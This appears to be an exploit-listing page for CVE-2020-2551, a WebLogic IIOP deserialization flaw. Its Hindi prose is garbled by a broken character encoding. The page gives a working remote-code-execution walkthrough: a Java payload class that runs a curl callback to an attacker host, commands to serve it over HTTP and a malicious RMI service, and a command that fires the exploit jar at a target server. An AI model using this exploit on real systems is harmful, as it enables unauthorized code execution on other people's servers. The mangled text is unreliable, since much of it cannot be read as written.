## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-Y4ER-CVE-2020-2551
## CVE-2020-2551
Weblogic IIOP рдбрд┐рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝реЗрд╢рди
## рдкрд░реАрдХреНрд╖рдг рд╡рд╛рддрд╛рд╡рд░рдг
Weblogic10.3.6+jdk1.6
рдкреИрдХ рдХрд┐рдпрд╛ рд╣реБрдЖ jar рдкреИрдХреЗрдЬ рдПрдХреНрд╕рдЯреНрд░реИрдХреНрд╢рди рдХреЛрдб: a6ob
## рднреЗрджреНрдпрддрд╛ рд╢реЛрд╖рдг
jar рдкреИрдХреЗрдЬ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ, рдлрд┐рд░ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг RMI рд╕реЗрд╡рд╛ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП marshalsec рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдФрд░ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдПрдХ exp.java рдХрдВрдкрд╛рдЗрд▓ рдХрд░реЗрдВред
root@kitploit:~
package payload;
import java.io.IOException;
public class exp {
public exp() {
String cmd = "curl http://172.16.1.1/success";
try {
Runtime.getRuntime().exec(cmd).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}
**weblogic рдХреЗ рд╕рдорд╛рди JDK рд╕рдВрд╕реНрдХрд░рдг рдФрд░ рдирд┐рд░реНрднрд░рддрд╛ рд▓рд╛рдЗрдмреНрд░реЗрд░реА (wlfullclient.jar) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдВрдкрд╛рдЗрд▓ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ** рдлрд┐рд░ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдПрдХ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВред
root@kitploit:~
python -m http.server --bind 0.0.0.0 80
рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╕реЗ jar рдкреИрдХреЗрдЬ рдЪрд▓рд╛рдПрдБ
root@kitploit:~
java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp
рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкреНрд░рднрд╛рд╡ рдЪрд┐рддреНрд░ рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ 
## рдЬреНрдЮрд╛рдд рд╕рдорд╕реНрдпрд╛рдПрдБ